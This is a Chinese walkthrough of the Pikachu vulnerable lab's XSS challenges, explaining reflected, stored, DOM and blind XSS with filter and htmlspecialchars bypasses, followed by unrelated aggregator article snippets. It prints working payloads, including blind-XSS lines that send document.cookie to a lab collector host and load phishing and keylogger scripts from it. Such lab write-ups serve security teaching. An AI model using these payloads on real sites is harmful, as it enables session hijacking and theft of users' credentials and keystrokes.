当前位置: 首页 > news >正文

pikachu - Cross-Site Scripting(XSS)

pikachu - Cross-Site Scripting(XSS)

声明!

笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!

题记

XSS(跨站脚本)概述Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射型XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。


反射型xss(get)

在这里插入图片描述

我们输入123,并查看一下源代码,可以看到123已经在前端页面出现了。

那么我们输入一下123<script>看看会出现什么

在这里插入图片描述

可以看到,123<script>在前端中显示为“who is 123”,后边的“i don’t care!”则消失了。这说明<script>标签已经被执行了,那么我们可以直接构造XSS注入

<script>alert (1)</script>

但是这时候我们发现一件事情,那就是输入框有字符限制,导致无法构造完整的XSS注入代码。

但是由于这种字符字数限制,一般都是由前端进行验证,所以我们可以通过打开开发者工具修改前端源代码来解除一下字符输入的限制。

在这里插入图片描述

在这里插入图片描述

这时候再输入之前构造的XSS注入代码就能成功注入了,但是需要注意的是,由于前端代码修改只是临时性的,所以每次刷新,都需要重新修改字符限制,才能输入完整的XSS注入代码。

反射性xss(post)

在这里插入图片描述

在第二个模式,以POST方式提交中,发现输入XSS注入代码并没有效果,那就需要考虑一下,这是个登录框,是否成功登录之后还有新的页面?这里用了上一篇文章 pikachu - 暴力破解 爆破出来的账号密码来登录,发现三个账号都可以,这里我们使用 admin/123456 来登录。

在这里插入图片描述

登录之后,我们随便输入然后提交,再抓个包

在这里插入图片描述

能够看到,这是一个POST包,那对于注入来说,它与GET包会有不同吗?并不会,我们输入构造好的XSS注入代码

<script>alert (1)</script>

在这里插入图片描述

可以看到,依然是能注入成功的。

存储型xss

在这里插入图片描述

存储型与反射型最大的区别在于反射型是无法存储,只能通过诱骗点击链接来进行触发,而存储型则是永久存储,被写入数据库的,只要用户浏览到被写入XSS注入的代码,XSS注入就会生效。而XSS注入可以隐藏在一段文字中,也可以隐藏在图片中,它的触发方式也很多,可以通过鼠标点击甚至是鼠标有经过就能触发。

这里我们构造一个鼠标点击就会生效的XSS注入,可以发现不管刷新多少次,这个注入都存在。

<img src=1 οnclick=alert('xss')>

在这里插入图片描述

DOM型xss

DOM型XSS(跨站脚本攻击)是基于文档对象模型(Document Object Model,简称DOM)的一种漏洞。DOM是HTML文档的对象表示,它允许程序和脚本动态访问和更新文档的内容、结构和样式。DOM型XSS的特点是攻击者通过修改页面的DOM节点来注入恶意脚本,整个过程在客户端完成,不需要与服务器进行交互。

与传统的反射型和存储型XSS不同,DOM型XSS的攻击脚本不会被发送到服务器,而是在浏览器中通过JavaScript操作DOM时执行。这种攻击方式使得DOM型XSS难以被传统的Web应用防火墙(WAF)检测到。

我们正常输入一个字符串,然后用F12检查一下源代码

在这里插入图片描述

可以发现,这是一个超链接的标签,我们输入作为引用对象。

那么我们可以闭合引用,然后通过 onclick 属性来构造XSS注入,使用双引号"和单引号’测试,发现单引号可以进行闭合。

' οnclick="alert ('xss')"

在这里插入图片描述

DOM型xss-x

DOM-XSS-X 是一种特殊的跨站脚本攻击(XSS)类型,它结合了反射型XSS和DOM型XSS的特点。具体来说,DOM-XSS-X 通常涉及到从浏览器的URL中获取输入数据,然后通过JavaScript操作DOM来执行恶意脚本。这种攻击方式类似于反射型XSS,因为它通过URL参数传递恶意代码,但与反射型XSS不同的是,DOM-XSS-X 的执行过程完全在客户端进行,不需要服务器的参与。

在DOM-XSS-X 中,攻击者构造一个包含恶意脚本的URL,用户访问该URL时,JavaScript代码会从URL中提取参数,并将其插入到DOM中执行。由于整个过程不涉及服务器,因此这种攻击方式难以被传统的Web应用防火墙(WAF)检测到。

我们同样输入123然后按F12检查源代码,发现一开始会弹出“有些费尽心机想要忘记的事情,后来真的就忘掉了”的超链接,点击后生成新的超链接“就让往事都随风,都随风吧”,而这个超链接所引用的对象便是我们的输入。

在这里插入图片描述

那我们就可以按照之前的方法来进行,依然构造XSS注入

' οnclick="alert ('xss')"

在这里插入图片描述

xss盲打

在这里插入图片描述

什么叫盲打?顾名思义,就是在不知道是否能有返回结果的情况下,去进行注入。

我们测试一下,这里是否能进行注入。

<img src=1 onclick="alert ('1')">

在这里插入图片描述

然后我们再进入管理后台查看一下,后台地址是 IP:Port/vul/xss/xssblind/admin.php,账号/密码是admin/123456

在这里插入图片描述

说明xss注入被执行了,但是如果不登录管理后台的话,我们没有回显,也不清楚到底注入没,只是发个弹窗注入,貌似也起不了多大作用?

我们把页面往下拉,可以发现一个XSS后台

在这里插入图片描述

它具有三大模块,也是我们在模拟攻击中常用的手段cookie搜集、钓鱼结果、键盘记录

在这里插入图片描述

我们先进入cookie搜集模块,记下链接。当然,一开始是不知道?cookie作为传值,但是在目录文件中\pikachu\pkxss\xcookie\cookie.php可以看到

在这里插入图片描述

然后构造一个XSS注入代码

<script>document.location = 'http://192.168.42.142/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

接着我们回到XSS盲打模块

在这里插入图片描述

点击提交后,我们去管理后台刷新一下网页,然后再回到获取cookie结果模块,可以发现,cookie已被成功接收

在这里插入图片描述

我们接着来测试一下钓鱼模块

在这里插入图片描述

同样的,这里我们直接构造一个利用代码就行

<script src="http://192.168.42.142/pkxss/xfish/fish.php"></script>

但是这里我们需要去文件\pikachu\pkxss\xfish\fish.php修改一下,将IP改为我们自己的IP

在这里插入图片描述

我们把它用留言板提交,看看管理后台出现了什么

在这里插入图片描述

可以看到有一个登录框,我们输入admin/admin看看

在这里插入图片描述

可以看到,我们的输入已被抓取

接着测试一下获取键盘记录结果

同样的,我们先去\pikachu\pkxss\rkeypress\rk.js文件里改一下配置

在这里插入图片描述

然后构造XSS注入代码

<script src="http://192.168.42.142/pkxss/rkeypress/rk.js">123</script>

在这里插入图片描述

接着我们再管理后台随便输入一些字符串,再切回pikachu Xss 获取键盘记录结果的网页

在这里插入图片描述

可以看到,键盘的输入已经被抓取成功了

xss之过滤

在这里插入图片描述

我们先正常构造一个XSS注入代码,看看会显示什么

在这里插入图片描述

可以看到,'>'被过滤了,那么我们怎么绕过?

这时候就要说一下HTML和JavaScript的解析机制了。当浏览器解析HTML时,它会尝试将输入的文本视为有效的HTML代码,即使这些代码没有明确的闭合标签。

例如,如果你在HTML中输入<div>Hello</div>,浏览器会自动闭合这个

标签,即使你没有显式地写上闭合标签 </div>。这种机制被称为HTML的自我闭合特性‌。

所以我们构造一个没有’>'的XSS注入代码,便可以完美绕过

<img src=1 οnclick="alert ('1')"

在这里插入图片描述

xss之htmlspecialchars

在进行XSS注入代码的构造前,我们应该先了解一下htmlspecialchars()函数是什么。

htmlspecialchars() 是一个 PHP 函数,用于将字符串中的特殊字符转换为 HTML 实体。这样可以防止用户输入的文本被浏览器解释为 HTML 或 JavaScript 代码,从而防止跨站脚本攻击(XSS)。

参数
  • string:必需。要转换的字符串。

  • flags:可选。指定要转换哪些特殊字符。常用的值有:

    • ENT_COMPAT​:默认值。转换双引号为 &quot;​,不转换单引号。
    • ENT_QUOTES​:转换双引号和单引号。
    • ENT_NOQUOTES​:不转换任何引号.
  • encoding:可选。指定字符集,默认为 UTF-8​。

  • double_encode:可选。如果设置为 true​,则已转换的 HTML 实体将被再次转换。默认为 true​。

默认要求
  • flags:默认为 ENT_COMPAT​,即只转换双引号,不转换单引号。
  • encoding:默认为 UTF-8​。
  • double_encode:默认为 true​,即已转换的 HTML 实体将被再次转换。

所以现在我们可以清楚的知道,htmlspecialchars()函数会对输入的字符串中的特殊字符转换为HTML实体,但是它默认只转换双引号,不转换单引号,这就给了我们绕过的可能,我们构造一下只有单引号的XSS注入代码。

<img src=1 onclick='alert (1)'>

在这里插入图片描述

我们发现,我们的输入包含在超链接标签里,那么我们首先闭合标签,再重新构造一下

' οnclick='alert (1)'

在这里插入图片描述

xss之href输出

在这里插入图片描述

可以看到,我们的输入的特殊符号都被当做超链接的对象,没法进行闭合,那么我们该怎么绕过?这里提一下JavaScript历史遗留的特性。

在早期的 Web 技术中,JavaScript 的使用并不像现在这样普遍和强大。将 JavaScript 代码直接嵌入到 HTML 属性中(如 href)提供了一种简单的方式来实现一些基本的交互功能,而无需编写复杂的脚本或事件处理程序。

这种方法允许开发者在不使用 onclick 事件的情况下,通过点击链接来触发 JavaScript 代码的执行。javascript协议被引入作为一种允许在 URL 中嵌入 JavaScript 代码的方式。虽然它最初是为了解决一些特定的用例,但随着时间的推移,它被广泛用于各种场景,包括在 href 中使用。

那么在这里,我们就可以通过JavaScript特性来进行绕过

javascript:alert('1')

在这里插入图片描述

xss之js输出

在这里插入图片描述

尝试输入的字符串都被过滤了,只留下了这么一句话,那么我们该如何绕过?观察一下,在红框位置,是使用双引号进行闭合的,那么我们是否可以通过双引号来进行闭合?我们试一下。

"<script>alert (1)</script>

在这里插入图片描述

很尴尬,输入被吃了。这时候我们脑筋转一下,会不会是因为<script>没有闭合的原因?导致输入不被执行。我们闭合一下</script>

"</script><script>alert (1)</script>

在这里插入图片描述

成功弹出

相关文章:

pikachu - Cross-Site Scripting(XSS)

pikachu - Cross-Site Scripting&#xff08;XSS&#xff09; 声明&#xff01; 笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人无关&#xff0c;切勿触碰法律底线&#xff0c;否则后果自负&#x…...

操作系统之文件系统的基本概念

目录 用户和磁盘视角的文件 文件控制块&#xff08;FCB&#xff09;和索引结点&#xff08;inode&#xff09; 文件的操作 创建文件&#xff08;create系统调用&#xff09; 写文件&#xff08;write系统调用&#xff09; 读文件&#xff08;read系统调用&#xff09; 重…...

深入探讨 Android 中的 AlarmManager:定时任务调度及优化实践

引言 在 Android 开发中&#xff0c;AlarmManager 是一个非常重要的系统服务&#xff0c;用于设置定时任务或者周期性任务。无论是设置一个闹钟&#xff0c;还是定时进行数据同步&#xff0c;AlarmManager 都是不可或缺的工具之一。然而&#xff0c;随着 Android 系统的不断演…...

西电-算法分析-研究生课程复习笔记

24年秋的应该是张老师最后一次用卷面考试&#xff0c;他说以后这节课的期末考试都是在OJ上刷题了张老师上课还挺有意思的&#xff0c;上完之后能学会独立地思考算法设计问题了。整节课都在强调规模压缩这个概念&#xff0c;考试也是考个人对这些的理解&#xff0c;还挺好玩的哈…...

编译时找不到需要的库,如何在PyCharm中为你的项目添加需要的库

丰富的库支持是 Python 语言的一大特点&#xff0c;但是在使用 PyCharm 进行Python 代码编译的时候&#xff0c;遇到一些需要使用到的库提示不能解析时&#xff0c;该如何添加呢&#xff1f; 比如下图所示的代码&#xff0c;可以看到需要使用 selenium、b4、jieba 这些库&…...

ip addr 命令给Linux网络接口配置多个IP地址值

问一下Chatgpt 怎么使用ip addr 命令给Linux网络接口配置多个IP地址值 根据Chatgpt的提示执行了命令&#xff0c;命令执行成功&#xff0c;看下执行结果。 ifconfig 命令查看接口IP地址 ip addr show 命令查看接口IP地址...

C#语言的数据库编程

C#语言的数据库编程 在现代软件开发中&#xff0c;数据库是不可或缺的一部分。无论是企业级应用还是个人项目&#xff0c;数据的存储与管理都是程序的核心功能之一。C#作为一种强类型、面向对象的编程语言&#xff0c;广泛应用于Windows平台的开发&#xff0c;尤其是在构建与数…...

时频分析之S变换

S变换的提出 1996年&#xff0c;由R.G Stockwell 提出了S变换&#xff0c;和其他时频分析工具一样&#xff0c;通过S变换&#xff0c;我们可以同时从时域以及频域观察一个信号的能量分布。S变换融合了短时傅里叶变换和小波变换的优点。关于S变换&#xff0c;最早发表于TSP上的…...

第二十八周学习周报

目录 摘要Abstract1 GFPGAN1.1 总体结构1.2 实验研究1.3 代码分析 总结 摘要 本周主要的学习内容是GFPGAN模型。GFPGAN是一种基于生成对抗网络(GAN)的模型&#xff0c;其利用封装在预训练的人脸GAN中的丰富多样的先验进行人脸图像的修复。这种生成面部先验&#xff08;GFP&…...

SurfaceFlinger MessageQueue原理

SurfaceFlinger MessageQueue 有2个作用&#xff1a; 处理SurfaceFlinger INVALIDATE、REFRESH事件管理SurfaceFlinger主线程挂起和恢复 SurfaceFlinger::run() { while (true) { mEventQueue->waitMessage(); } } waitMessage {do {IPCThreadState::self()->flushComm…...

component-动态控制 div width 的值 根据传入的变量决定width的值 vue

1.实现 根据参数的值&#xff0c;div显示不同的长度 <div class"node-line" :style"lineProgress"></div> <script>export default {name: "trainSummaryInfo",data(){return{linePercentage:200,}},computed:{lineProgress…...

C#中的常用集合

目录 一、动态数组ArrayList 二、List 三、栈&#xff08;Stack&#xff09; 四、队列&#xff08;Queue&#xff09; 五、字典&#xff08;Dictionary&#xff09;,int> 一、动态数组ArrayList ArrayList 是 C# 中提供的一种动态数组类&#xff0c;位于命名空间 Syste…...

插入实体自增主键太长,mybatis-plaus自增主键

1、问题 spring-boot整合mybtais执行insert语句时&#xff0c;主键id为长文本数据。 2、分析问题 1)数据库主键是否自增 2&#xff09;数据库主键的种子值设置的多少 3、解决问题 1&#xff09;数据库主键设置的时自增 3&#xff09;种子值是1 所以排查是数据库的问题 4、继…...

晨辉面试抽签和评分管理系统之一:考生信息管理和编排

晨辉面试抽签和评分管理系统&#xff08;下载地址:www.chenhuisoft.cn&#xff09;是公务员招录面试、教师资格考试面试、企业招录面试等各类面试通用的考生编排、考生入场抽签、候考室倒计时管理、面试考官抽签、面试评分记录和成绩核算的面试全流程信息化管理软件。提供了考生…...

【MySQL】MVCC详解, 图文并茂简单易懂

欢迎来到啊妮莫的学习小屋 祝读本文的朋友都天天开心呀 目录 MVCC简介快照读与当前读快照读当前读 隔离级别隐藏字段和Undo Log版本链✨MVCC原理--ReadView✨ReadView简介设计思路适用隔离级别重要内容 ReadView规则MVCC整体流程 不同隔离级别下的MVCC读已提交可重复读 总结 M…...

中国数字化发展的问题与机会

橙蜂智能公司致力于提供先进的人工智能和物联网解决方案,帮助企业优化运营并实现技术潜能。公司主要服务包括AI数字人、AI翻译、埃域知识库、大模型服务等。其核心价值观为创新、客户至上、质量、合作和可持续发展。 橙蜂智农的智慧农业产品涵盖了多方面的功能,如智能化推荐、…...

【ROS2】☆ launch之Python

☆重点 ROS1和ROS2其中一个很大区别之一就是launch的编写方式。在ROS1中采用xml格式编写launch&#xff0c;而ROS2保留了XML 格式launch&#xff0c;还另外引入了Python和YAML 编写方式。选择哪种编写取决于每位开发人员的爱好&#xff0c;但是ROS2官方推荐使用Python方式编写…...

如何稳定使用 O1 / O1 Pro,让“降智”现象不再困扰?

近期&#xff0c;不少朋友在使用 O1 或 O1 Pro 模型时&#xff0c;都会碰到“降智”或“忽高忽低”的智力波动&#xff0c;比如无法识图、无法生成图片、甚至回答准确度也不稳定。面对这些问题&#xff0c;你是不是也感到头疼呢&#xff1f; 为了找到更可靠的解决办法&#xf…...

zookeeper监听机制(Watcher机制)

文章目录 引言I zookeeper监听机制Watcher机制实现分布式的通知功能触发事件种类Watcher的三个过程II watch机制特点一次性触发事件封装event异步发送先注册再触发常见的通知状态和事件类型III 应用案例(Kafka)Kafka的消息模型Kafka在Zookeeper中保存的元数据Kafka 基于Contr…...

docker 启动 nacos 单机模式

docker 启动 nacos 单机模式 # 拉取镜像# 启动&#xff0c;如果不拉镜像会自动拉取最新的 image docker run --name standalong_nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 -e MODEstandalone -d nacos/nacos-server# 状态查看外部访问验证 输入部署的 docker ip 地址以及…...

OpenVINO环境配置--OpenVINO安装

TOC环境配置–OpenVINO安装 本节内容 OpenVINO 支持的安装方式有很多种&#xff0c;每一种操作系统以及语言都有对应的安装方法&#xff0c;在官网上有很详细的教程&#xff1a;   我们可以根据自己的需要&#xff0c;来点选环境配置和安装方法&#xff0c;然后网页会给出正…...

装备制造项目管理具备什么特征?如何选择适配的项目管理软件系统进行项目管控?

国内某大型半导体装备制造企业与奥博思软件达成战略合作&#xff0c;全面引入奥博思 PowerProject 打造企业专属项目管理平台&#xff0c;进一步提升智能制造领域的项目管理效率与协同能力。 该项目管理平台聚焦半导体装备研发与制造的业务特性&#xff0c;实现了从项目立项、…...

11.RV1126-ROCKX项目 API和人脸检测画框

一.ROCKX的API 1.ROCKX的作用 ROCKX的AI组件可以快速搭建 AI的应用&#xff0c;这些应用可以是车牌识别、人脸识别、目标识别&#xff0c;人体骨骼识别等等。主要用于各种检测识别。例如下图&#xff1a; 2.ROCKX人脸识别的API rockx_ret_t rockx_create(rockx_handle_t *han…...

【Linux网络篇】:从HTTP到HTTPS协议---加密原理升级与安全机制的全面解析

✨感谢您阅读本篇文章&#xff0c;文章内容是个人学习笔记的整理&#xff0c;如果哪里有误的话还请您指正噢✨ ✨ 个人主页&#xff1a;余辉zmh–CSDN博客 ✨ 文章所属专栏&#xff1a;Linux篇–CSDN博客 文章目录 HTTPS协议原理一.预备知识1.什么是“加密”2.为什么要“加密”…...

Java Lambda 表达式的缺点和替代方案

Java 8 引入的 Lambda 表达式曾被誉为编写简洁、函数式代码的革命性工具。但说实话,它们并不是万能钥匙。它有不少问题,比如它没有宣传的那么易读,在某些场景下还带来性能开销。 作为一名多年与 Java 冗长语法搏斗的开发者,我找到了更注重清晰、可维护性和性能的替代方案。…...

《ERP原理与应用教程》第3版习题和答案

ERP原理与应用教程是一门系统介绍企业资源计划(Enterprise Resource Planning, ERP)系统核心理论、技术架构及实施应用的综合性课程。它主要面向管理类、信息类、工程类等专业学生及企业管理者,旨在培养对现代企业信息化管理的理解与实践能力。以下是该课程的详细解析: 一…...

从混乱到秩序:探索管理系统如何彻底改变工作流程

内容摘要 在许多企业与组织中&#xff0c;工作流程混乱是阻碍发展的“绊脚石”。员工们常常被繁琐的步骤、模糊的职责和沟通不畅等问题搞得焦头烂额&#xff0c;工作效率低下&#xff0c;错误频发。而与之形成鲜明对比的是&#xff0c;一些引入了先进管理系统的团队&#xff0…...

LLaMA-Factory的5种推理方式总结

LLaMA-Factory 作为一款开源的大语言模型微调与推理框架&#xff0c;提供了 5 种核心推理方式&#xff0c;覆盖从本地调试到生产部署的全流程需求。以下是具体方式及示例&#xff1a; 1. 交互式命令行推理 适用场景&#xff1a;快速测试模型效果或进行简单对话。 示例命令&am…...

Rust 学习笔记:关于 Cargo 的练习题

Rust 学习笔记&#xff1a;关于 Cargo 的练习题 Rust 学习笔记&#xff1a;关于 Cargo 的练习题问题一问题二问题三问题四问题五问题六问题七 Rust 学习笔记&#xff1a;关于 Cargo 的练习题 参考视频&#xff1a; https://www.bilibili.com/video/BV1xjAaeAEUzhttps://www.b…...

网络资源缓存

前端性能优化是提升用户体验和页面响应速度的关键&#xff0c;可以从 网络优化、资源优化、缓存优化 三个方面系统地进行。以下是详细说明&#xff1a; 一、网络优化&#xff08;减少请求数、降低延迟、提升加载速度&#xff09; 减少 HTTP 请求数量 合并请求&#xff08;CSS…...